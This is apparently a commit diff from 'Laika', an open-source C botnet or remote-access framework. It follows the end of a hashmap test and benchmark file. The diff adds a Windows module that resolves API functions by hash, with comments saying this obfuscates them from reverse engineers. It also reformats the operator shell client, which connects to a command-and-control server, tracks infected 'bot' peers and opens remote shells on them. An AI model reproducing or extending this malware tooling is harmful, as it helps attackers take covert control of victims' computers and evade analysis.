memset(vals2, 0, N * sizeof(int));
assert(hashmap_scan(map, iter_ints, &vals2));
for (int i = 0; i < N; i++) {
assert(vals2[i] == 1);
}
xfree(vals2);
shuffle(vals, N, sizeof(int));
for (int i = 0; i < N; i++) {
int *v;
v = hashmap_delete(map, &vals[i]);
assert(v && *v == vals[i]);
assert(!hashmap_get(map, &vals[i]));
assert(map->count == N-i-1);
assert(map->count == hashmap_count(map));
assert(map->count == deepcount(map));
for (int j = N-1; j > i; j--) {
v = hashmap_get(map, &vals[j]);
assert(v && *v == vals[j]);
}
}
for (int i = 0; i < N; i++) {
while (true) {
assert(!hashmap_set(map, &vals[i]));
if (!hashmap_oom(map)) {
break;
}
}
}
assert(map->count != 0);
size_t prev_cap = map->cap;
hashmap_clear(map, true);
assert(prev_cap < map->cap);
assert(map->count == 0);
for (int i = 0; i < N; i++) {
while (true) {
assert(!hashmap_set(map, &vals[i]));
if (!hashmap_oom(map)) {
break;
}
}
}
prev_cap = map->cap;
hashmap_clear(map, false);
assert(prev_cap == map->cap);
hashmap_free(map);
xfree(vals);
while (!(map = hashmap_new(sizeof(char*), 0, seed, seed,
hash_str, compare_strs, free_str, NULL)));
for (int i = 0; i < N; i++) {
char *str;
while (!(str = xmalloc(16)));
sprintf(str, "s%i", i);
while(!hashmap_set(map, &str));
}
hashmap_clear(map, false);
assert(hashmap_count(map) == 0);
for (int i = 0; i < N; i++) {
char *str;
while (!(str = xmalloc(16)));
sprintf(str, "s%i", i);
while(!hashmap_set(map, &str));
}
hashmap_free(map);
if (total_allocs != 0) {
fprintf(stderr, "total_allocs: expected 0, got %lu\n", total_allocs);
exit(1);
}
}
#define bench(name, N, code) {{ \
if (strlen(name) > 0) { \
printf("%-14s ", name); \
} \
size_t tmem = total_mem; \
size_t tallocs = total_allocs; \
uint64_t bytes = 0; \
clock_t begin = clock(); \
for (int i = 0; i < N; i++) { \
(code); \
} \
clock_t end = clock(); \
double elapsed_secs = (double)(end - begin) / CLOCKS_PER_SEC; \
double bytes_sec = (double)bytes/elapsed_secs; \
printf("%d ops in %.3f secs, %.0f ns/op, %.0f op/sec", \
N, elapsed_secs, \
elapsed_secs/(double)N*1e9, \
(double)N/elapsed_secs \
); \
if (bytes > 0) { \
printf(", %.1f GB/sec", bytes_sec/1024/1024/1024); \
} \
if (total_mem > tmem) { \
size_t used_mem = total_mem-tmem; \
printf(", %.2f bytes/op", (double)used_mem/N); \
} \
if (total_allocs > tallocs) { \
size_t used_allocs = total_allocs-tallocs; \
printf(", %.2f allocs/op", (double)used_allocs/N); \
} \
printf("\n"); \
}}
static void benchmarks() {
int seed = getenv("SEED")?atoi(getenv("SEED")):time(NULL);
int N = getenv("N")?atoi(getenv("N")):5000000;
printf("seed=%d, count=%d, item_size=%zu\n", seed, N, sizeof(int));
srand(seed);
int *vals = xmalloc(N * sizeof(int));
for (int i = 0; i < N; i++) {
vals[i] = i;
}
shuffle(vals, N, sizeof(int));
struct hashmap *map;
shuffle(vals, N, sizeof(int));
map = hashmap_new(sizeof(int), 0, seed, seed, hash_int, compare_ints_udata,
NULL, NULL);
bench("set", N, {
int *v = hashmap_set(map, &vals[i]);
assert(!v);
})
shuffle(vals, N, sizeof(int));
bench("get", N, {
int *v = hashmap_get(map, &vals[i]);
assert(v && *v == vals[i]);
})
shuffle(vals, N, sizeof(int));
bench("delete", N, {
int *v = hashmap_delete(map, &vals[i]);
assert(v && *v == vals[i]);
})
hashmap_free(map);
map = hashmap_new(sizeof(int), N, seed, seed, hash_int, compare_ints_udata,
NULL, NULL);
bench("set (cap)", N, {
int *v = hashmap_set(map, &vals[i]);
assert(!v);
})
shuffle(vals, N, sizeof(int));
bench("get (cap)", N, {
int *v = hashmap_get(map, &vals[i]);
assert(v && *v == vals[i]);
})
shuffle(vals, N, sizeof(int));
bench("delete (cap)" , N, {
int *v = hashmap_delete(map, &vals[i]);
assert(v && *v == vals[i]);
})
hashmap_free(map);
xfree(vals);
if (total_allocs != 0) {
fprintf(stderr, "total_allocs: expected 0, got %lu\n", total_allocs);
exit(1);
}
}
int main() {
hashmap_set_allocator(xmalloc, xfree);
if (getenv("BENCH")) {
printf("Running hashmap.c benchmarks...\n");
benchmarks();
} else {
printf("Running hashmap.c tests...\n");
all();
printf("PASSED\n");
}
}
#endif

173
lib/win/winobf.c Normal file
View File

@@ -0,0 +1,173 @@
#include "lobf.h"
/*
Most of this file was adapted from
https://github.com/LloydLabs/Windows-API-Hashing/blob/master/resolve.c
Checkout their repository! All I did was minor formatting changes and some misc. cleanup
*/
#include <process.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <windows.h>
/* ======================================[[ API Hashing ]]====================================== */
#define RESOLVE_NAME_MAX 4096
#define RESOLVE_REL_CALC(x, y) ((LPBYTE)x + y)
/*
getHashName(LPCSTR) -> uint32_t
uses the SuperFastHash algorithm to create an unsigned 32-bit hash
*/
uint32_t getHashName(LPCSTR cszName)
{
SIZE_T uNameLen, i;
PBYTE pbData = (PBYTE)cszName;
uint32_t u32Hash = 0, u32Buf = 0;
INT iRemain;
if (cszName == NULL)
return 0;
if ((uNameLen = strnlen_s(cszName, RESOLVE_NAME_MAX)) == 0)
return 0;
iRemain = (uNameLen & 3);
uNameLen >>= 2;
for (i = uNameLen; i > 0; i--) {
u32Hash += *(const UINT16 *)pbData;
u32Buf = (*(const UINT16 *)(pbData + 2) << 11) ^ u32Hash;
u32Hash = (u32Hash << 16) ^ u32Buf;
pbData += (2 * sizeof(UINT16));
u32Hash += u32Hash >> 11;
}
switch (iRemain) {
case 1:
u32Hash += *pbData;
u32Hash ^= u32Hash << 10;
u32Hash += u32Hash >> 1;
break;
case 2:
u32Hash += *(const UINT16 *)pbData;
u32Hash ^= u32Hash << 11;
u32Hash += u32Hash >> 17;
break;
case 3:
u32Hash += *(const UINT16 *)pbData;
u32Hash ^= u32Hash << 16;
u32Hash ^= pbData[sizeof(UINT16)] << 18;
u32Hash += u32Hash >> 11;
break;
}
u32Hash ^= u32Hash << 3;
u32Hash += u32Hash >> 5;
u32Hash ^= u32Hash << 4;
u32Hash += u32Hash >> 17;
u32Hash ^= u32Hash << 25;
u32Hash += u32Hash >> 6;
return u32Hash;
}
/* fork of the resolve_find() with the weird struct stripped. also library cleanup for the fail
condition was added */
void *findByHash(LPCSTR module, uint32_t hash)
{
HMODULE hLibrary;
PIMAGE_DOS_HEADER pDOSHdr;
PIMAGE_NT_HEADERS pNTHdr;
PIMAGE_EXPORT_DIRECTORY pIED;
PDWORD pdwAddress, pdwNames;
PWORD pwOrd;
if ((hLibrary = LoadLibraryA(module)) == NULL)
return NULL;
/*
the rest of this function just does the same thing GetProcAddress() does, but using
our hash function to find the right function. this is also more obfuscated to the
REer, however they would probably immediately recognize what this function is doing
just from the LoadLibraryA() call.
*/
/* grab DOS headers & verify */
pDOSHdr = (PIMAGE_DOS_HEADER)hLibrary;
if (pDOSHdr->e_magic != IMAGE_DOS_SIGNATURE)
goto _findByHashFail;
/* grab NT headers & verify */
pNTHdr = (PIMAGE_NT_HEADERS)RESOLVE_REL_CALC(hLibrary, pDOSHdr->e_lfanew);
if (pNTHdr->Signature != IMAGE_NT_SIGNATURE)
goto _findByHashFail;
/* verify that this NT file is a DLL & actually exports functions */
if ((pNTHdr->FileHeader.Characteristics & IMAGE_FILE_DLL) == 0 ||
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0 ||
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == 0)
goto _findByHashFail;
pIED = (PIMAGE_EXPORT_DIRECTORY)RESOLVE_REL_CALC(
hLibrary,
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
pdwAddress = (PDWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfFunctions);
pdwNames = (PDWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfNames);
pwOrd = (PWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfNameOrdinals);
/* walk library export table, compare hashes until we find a match */
for (DWORD i = 0; i < pIED->AddressOfFunctions; i++) {
if (getHashName((LPCSTR)RESOLVE_REL_CALC(hLibrary, pdwNames[i])) == hash)
/* return the pointer to our function. we don't worry about closing the library's
handle because we'll need it loaded until we exit. */
return (void *)RESOLVE_REL_CALC(hLibrary, pdwAddress[pwOrd[i]]);
}
_findByHashFail:
/* function was not found, close the library handle since we don't need it anymore */
FreeLibrary(hLibrary);
return NULL;
}
#undef RESOLVE_REL_CALC
/* ======================================[[ Exposed API ]]====================================== */
#ifdef LAIKA_OBFUSCATE
_ShellExecuteA oShellExecuteA;
_CreatePseudoConsole oCreatePseudoConsole;
_ClosePseudoConsole oClosePseudoConsole;
_CreateProcessA oCreateProcessA;
_RegOpenKeyExA oRegOpenKeyExA;
_RegCloseKey oRegCloseKey;
_RegSetValueExA oRegSetValueExA;
_RegQueryValueExA oRegQueryValueExA;
/* TODO:
GetEnvironmentVariable
*/
void laikaO_init()
{
uint32_t hash;
/* TODO: these library strings should probably be obfuscated (by a skid box maybe?) */
oShellExecuteA = (_ShellExecuteA)findByHash("shell32.dll", 0x89858cd3);
oCreatePseudoConsole = (_CreatePseudoConsole)findByHash("kernel32.dll", 0x7310ef7);
oClosePseudoConsole = (_ClosePseudoConsole)findByHash("kernel32.dll", 0xeff42590);
oCreateProcessA = (_CreateProcessA)findByHash("kernel32.dll", 0x9e687c1d);
oRegOpenKeyExA = (_RegOpenKeyExA)(findByHash("advapi32.dll", 0x15041404));
oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309));
oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
}
#else
void laikaO_init()
{
/* stubbed!! */
}
#endif

View File

@@ -13,8 +13,5 @@ file(GLOB_RECURSE SHELLHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
add_executable(LaikaShell ${SHELLSOURCE} ${SHELLHEADERS})
target_link_libraries(LaikaShell PUBLIC LaikaLib)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(LaikaShell PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# add include directory
target_include_directories(LaikaShell PUBLIC ${SHELL_INCLUDEDIR})

View File

@@ -1,23 +1,22 @@
#ifndef SHELLCLIENT_H
#define SHELLCLIENT_H
#include "hashmap.h"
#include "lpeer.h"
#include "ltask.h"
#include "lsodium.h"
#include "core/hashmap.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "core/ltask.h"
#include "net/lpeer.h"
#include "speer.h"
typedef struct sShell_client {
typedef struct sShell_client
{
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_pollList pList;
struct sLaika_taskService tService;
struct sLaika_peer *peer;
tShell_peer *openShell; /* if not NULL, shell is open on peer */
struct hashmap *peers;
tShell_peer **peerTbl;
int peerTblCount;
int peerTblCap;
laikaM_newVector(tShell_peer *, peerTbl);
} tShell_client;
#define shellC_isShellOpen(x) (x->openShell != NULL)
@@ -31,7 +30,8 @@ bool shellC_poll(tShell_client *client, int timeout);
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv);
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id);
int shellC_addPeer(tShell_client *client, tShell_peer *peer); /* returns new peer id */
/* returns new peer id */
int shellC_addPeer(tShell_client *client, tShell_peer *peer);
void shellC_rmvPeer(tShell_client *client, tShell_peer *peer, int id);
void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row);

View File

@@ -1,13 +1,14 @@
#ifndef SHELLCMD_H
#define SHELLCMD_H
#include <string.h>
#include "sclient.h"
#include <string.h>
typedef void (*shellCmdCallback)(tShell_client *client, int args, char *argc[]);
typedef struct sShell_cmdDef {
typedef struct sShell_cmdDef
{
const char *cmd;
const char *help;
const char *syntax;

View File

@@ -1,17 +1,19 @@
#ifndef SHELLPEER_H
#define SHELLPEER_H
#include "lsodium.h"
#include "lpeer.h"
#include "core/lsodium.h"
#include "net/lpeer.h"
typedef struct sShell_peer {
typedef struct sShell_peer
{
uint8_t pub[crypto_kx_PUBLICKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
PEERTYPE type;
OSTYPE osType;
} tShell_peer;
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet, char *ipv4);
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet,
char *ipStr);
void shellP_freePeer(tShell_peer *peer);
void shellP_printInfo(tShell_peer *peer);

View File

@@ -1,18 +1,19 @@
#ifndef SHELLTERM_H
#define SHELLTERM_H
#include <stdlib.h>
#include "sclient.h"
#include <stdarg.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/select.h>
#include <termios.h>
#include <stdbool.h>
#include <unistd.h>
#include "sclient.h"
typedef enum {
typedef enum
{
TERM_BLACK,
TERM_RED,
TERM_GREEN,
@@ -31,29 +32,34 @@ typedef enum {
TERM_BRIGHT_WHITE
} TERM_COLOR;
#define PRINTTAG(color) shellT_printf("\r%s[~]%s ", shellT_getForeColor(color), shellT_getForeColor(TERM_BRIGHT_WHITE))
#define PRINTTAG(color) \
shellT_printf("\r%s[~]%s ", shellT_getForeColor(color), shellT_getForeColor(TERM_BRIGHT_WHITE))
#define PRINTINFO(...) do { \
PRINTTAG(TERM_BRIGHT_YELLOW); \
shellT_printf(__VA_ARGS__); \
} while(0);
#define PRINTINFO(...) \
do { \
PRINTTAG(TERM_BRIGHT_YELLOW); \
shellT_printf(__VA_ARGS__); \
} while (0);
#define PRINTSUCC(...) do { \
PRINTTAG(TERM_BRIGHT_GREEN); \
shellT_printf(__VA_ARGS__); \
} while(0);
#define PRINTSUCC(...) \
do { \
PRINTTAG(TERM_BRIGHT_GREEN); \
shellT_printf(__VA_ARGS__); \
} while (0);
#define PRINTERROR(...) do { \
PRINTTAG(TERM_BRIGHT_RED); \
shellT_printf(__VA_ARGS__); \
} while(0);
#define PRINTERROR(...) \
do { \
PRINTTAG(TERM_BRIGHT_RED); \
shellT_printf(__VA_ARGS__); \
} while (0);
void shellT_conioTerm(void);
void shellT_resetTerm(void);
const char *shellT_getForeColor(TERM_COLOR);
void shellT_printf(const char *format, ...);
/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no events */
/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no
* events */
bool shellT_waitForInput(int timeout);
int shellT_readRawInput(uint8_t *buf, size_t max);
void shellT_writeRawOutput(uint8_t *buf, size_t sz);
@@ -62,6 +68,7 @@ char shellT_getch(void);
int shellT_kbget(void);
void shellT_printPrompt(void);
void shellT_setPrompt(char *prompt);
void shellT_addChar(tShell_client *client, int c); /* processes input, moving cursor, adding char to cmd, etc. */
/* processes input, moving cursor, adding char to cmd, etc. */
void shellT_addChar(tShell_client *client, int c);
#endif

View File

@@ -1,39 +1,52 @@
#include <stdio.h>
#include "core/ini.h"
#include "sclient.h"
#include "sterm.h"
#include "ini.h"
#define STRING(x) #x
#include <stdio.h>
#define STRING(x) #x
#define MACROLITSTR(x) STRING(x)
const char *LOGO = "\n ██╗ █████╗ ██╗██╗ ██╗ █████╗\n ██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n ██║ ███████║██║█████╔╝ ███████║\n ██║ ██╔══██║██║██╔═██╗ ██╔══██║\n ███████╗██║ ██║██║██║ ██╗██║ ██║\n ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
const char *LOGO =
"\n ██╗ █████╗ ██╗██╗ ██╗ █████╗\n ██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n "
" ██║ ███████║██║█████╔╝ ███████║\n ██║ ██╔══██║██║██╔═██╗ ██╔══██║\n "
" ███████╗██║ ██║██║██║ ██╗██║ ██║\n ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
tShell_client *client = (tShell_client*)user;
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
static int iniHandler(void *user, const char *section, const char *name, const char *value)
{
tShell_client *client = (tShell_client *)user;
if (MATCH("auth", "public-key")) {
shellC_loadKeys(client, value, NULL);
PRINTINFO("Auth pubkey: %s\n", value);
} else if (MATCH("auth", "private-key")){
} else if (MATCH("auth", "private-key")) {
shellC_loadKeys(client, NULL, value);
} else {
return 0; /* unknown section/name, error */
return 0; /* unknown section/name, error */
}
return 1;
}
bool loadConfig(tShell_client *client, char *config) {
#undef MATCH
bool loadConfig(tShell_client *client, char *config)
{
int iniRes;
printf("Loading config file '%s'...\n", config);
if ((iniRes = ini_parse(config, iniHandler, (void*)client)) < 0) {
if ((iniRes = ini_parse(config, iniHandler, (void *)client)) < 0) {
switch (iniRes) {
case -1: printf("Couldn't load config file '%s'!\n", config); break;
case -2: printf("Memory allocation error :/\n"); break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
case -1:
printf("Couldn't load config file '%s'!\n", config);
break;
case -2:
printf("Memory allocation error :/\n");
break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
}
return false;
}
@@ -41,13 +54,20 @@ bool loadConfig(tShell_client *client, char *config) {
return true;
}
int main(int argv, char *argc[]) {
int main(int argv, char *argc[])
{
tShell_client client;
char *configFile = "shell.ini";
bool printPrompt = false;
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
shellT_printf(" made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT);
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO,
shellT_getForeColor(TERM_BRIGHT_WHITE));
shellT_printf(
" made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n",
shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE),
"v" MACROLITSTR(LAIKA_VERSION_MAJOR) "."
MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT);
shellC_init(&client);
@@ -61,7 +81,7 @@ int main(int argv, char *argc[]) {
shellC_connectToCNC(&client, LAIKA_CNC_IP, LAIKA_CNC_PORT);
shellT_conioTerm();
while(laikaS_isAlive((&client.peer->sock))) {
while (laikaS_isAlive((&client.peer->sock))) {
/* poll for 50ms */
if (!shellC_poll(&client, 50)) {
/* check if we have input! */

View File

@@ -1,67 +1,85 @@
#include "lmem.h"
#include "lerror.h"
#include "lpacket.h"
#include "lsodium.h"
#include "sterm.h"
#include "sclient.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "net/lpacket.h"
#include "sterm.h"
void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
tShell_client *client = (tShell_client*)uData;
void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
void *uData)
{
tShell_client *client = (tShell_client *)uData;
laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG);
}
/* ==============================================[[ PeerHashMap ]]=============================================== */
/* ======================================[[ PeerHashMap ]]====================================== */
typedef struct sShell_hashMapElem {
typedef struct sShell_hashMapElem
{
int id;
tShell_peer *peer;
uint8_t *pub;
} tShell_hashMapElem;
int shell_ElemCompare(const void *a, const void *b, void *udata) {
int shell_ElemCompare(const void *a, const void *b, void *udata)
{
const tShell_hashMapElem *ua = a;
const tShell_hashMapElem *ub = b;
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
}
uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1)
{
const tShell_hashMapElem *u = item;
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
return *(uint64_t *)(u->pub); /* hashes pub key (first 8 bytes) */
}
/* ============================================[[ Packet Handlers ]]============================================= */
/* ====================================[[ Packet Handlers ]]==================================== */
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN];
uint8_t endianness = laikaS_readByte(&peer->sock);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
peer->sock.flipEndian = endianness != laikaM_isBigEndian();
/* set peer salt */
laikaS_setSalt(peer, saltBuf);
/* send PEER_LOGIN packet */
laikaS_startOutPacket(peer, LAIKAPKT_PEER_LOGIN_REQ);
laikaS_writeByte(&peer->sock, PEER_AUTH);
laikaS_write(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
laikaS_endOutPacket(peer);
PRINTSUCC("Handshake accepted!\n");
}
void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
LAIKA_DEBUG("got ping from cnc!\n");
/* stubbed */
}
void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN];
void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
tShell_client *client = (tShell_client*)uData;
tShell_client *client = (tShell_client *)uData;
tShell_peer *bot;
uint8_t type, osType;
/* read newly connected peer's pubKey */
laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
/* read hostname & ipv4 */
/* read hostname & ip str */
laikaS_read(&peer->sock, hostname, LAIKA_HOSTNAME_LEN);
laikaS_read(&peer->sock, inet, LAIKA_INET_LEN);
laikaS_read(&peer->sock, ipv4, LAIKA_IPV4_LEN);
laikaS_read(&peer->sock, ipStr, LAIKA_IPSTR_LEN);
/* read peer's peerType & osType */
type = laikaS_readByte(&peer->sock);
@@ -72,15 +90,16 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
return;
/* create peer */
bot = shellP_newPeer(type, osType, pubKey, hostname, inet, ipv4);
bot = shellP_newPeer(type, osType, pubKey, hostname, inet, ipStr);
/* add peer to client */
shellC_addPeer(client, bot);
}
void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
tShell_client *client = (tShell_client*)uData;
tShell_client *client = (tShell_client *)uData;
tShell_peer *bot;
uint8_t type;
int id;
@@ -100,9 +119,23 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
shellC_rmvPeer(client, bot, id);
}
void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void shellC_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
/* stubbed! this packet is a no-op currently */
}
void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
tShell_client *client = (tShell_client*)uData;
tShell_client *client = (tShell_client *)uData;
uint32_t id;
/* ignore packet if malformed */
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
return;
id = laikaS_readu32(&peer->sock); /* this is ignored for now */
sz -= sizeof(uint32_t);
/* sanity check */
if (!shellC_isShellOpen(client))
@@ -112,23 +145,29 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
shellT_writeRawOutput(buf, sz);
}
void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
tShell_client *client = (tShell_client*)uData;
void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
tShell_client *client = (tShell_client *)uData;
uint32_t id;
id = laikaS_readu32(&peer->sock); /* this is ignored for now */
/* sanity check */
if (!shellC_isShellOpen(client))
LAIKA_ERROR("LAIKAPKT_SHELL_DATA: No shell open!\n");
return; /* ignore invalid CLOSE packets */
/* close shell */
shellC_closeShell(client);
}
/* ==============================================[[ Packet Table ]]============================================== */
/* =====================================[[ Packet Table ]]====================================== */
/* clang-format off */
struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
shellC_handleHandshakeRes,
sizeof(uint8_t),
sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN,
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
shellC_handlePing,
@@ -136,50 +175,52 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
shellC_handleAddPeer,
crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPV4_LEN + sizeof(uint8_t) + sizeof(uint8_t),
crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPSTR_LEN + sizeof(uint8_t) + sizeof(uint8_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_RMV_PEER_RES,
shellC_handleRmvPeer,
crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN,
shellC_handleShellOpen,
sizeof(uint32_t) + sizeof(uint16_t) + sizeof(uint16_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
shellC_handleShellClose,
0,
sizeof(uint32_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
shellC_handleShellData,
0,
sizeof(uint32_t), /* packet must be bigger than this */
true)
};
/* clang-format on */
/* socket event */
void shellC_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sShell_client *client = (struct sShell_client*)uData;
void shellC_onPollFail(struct sLaika_socket *sock, void *uData)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
struct sShell_client *client = (struct sShell_client *)uData;
laikaS_kill(&client->peer->sock);
}
/* ===============================================[[ Client API ]]=============================================== */
/* ======================================[[ Client API ]]======================================= */
void shellC_init(tShell_client *client) {
void shellC_init(tShell_client *client)
{
laikaP_initPList(&client->pList);
client->peer = laikaS_newPeer(
shellC_pktTbl,
&client->pList,
shellC_onPollFail,
(void*)client,
(void*)client
);
client->peer = laikaS_newPeer(shellC_pktTbl, &client->pList, shellC_onPollFail, (void *)client,
(void *)client);
client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash, shell_ElemCompare, NULL, NULL);
client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash,
shell_ElemCompare, NULL, NULL);
client->openShell = NULL;
client->peerTbl = NULL;
client->peerTblCap = 4;
client->peerTblCount = 0;
laikaM_initVector(client->peerTbl, 4);
laikaT_initTaskService(&client->tService);
laikaT_newTask(&client->tService, 5000, shell_pingTask, client);
laikaT_newTask(&client->tService, LAIKA_PING_INTERVAL, shell_pingTask, client);
/* load authenticated keypair */
if (sodium_init() < 0) {
@@ -200,7 +241,8 @@ void shellC_init(tShell_client *client) {
}
}
void shellC_cleanup(tShell_client *client) {
void shellC_cleanup(tShell_client *client)
{
int i;
laikaS_freePeer(client->peer);
@@ -210,20 +252,22 @@ void shellC_cleanup(tShell_client *client) {
laikaT_cleanTaskService(&client->tService);
/* free peers */
for (i = 0; i < client->peerTblCount; i++) {
for (i = 0; i < laikaM_countVector(client->peerTbl); i++) {
if (client->peerTbl[i])
shellP_freePeer(client->peerTbl[i]);
}
laikaM_free(client->peerTbl);
}
void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
void shellC_connectToCNC(tShell_client *client, char *ip, char *port)
{
struct sLaika_socket *sock = &client->peer->sock;
PRINTINFO("Connecting to %s:%s...\n", ip, port);
/* create encryption keys */
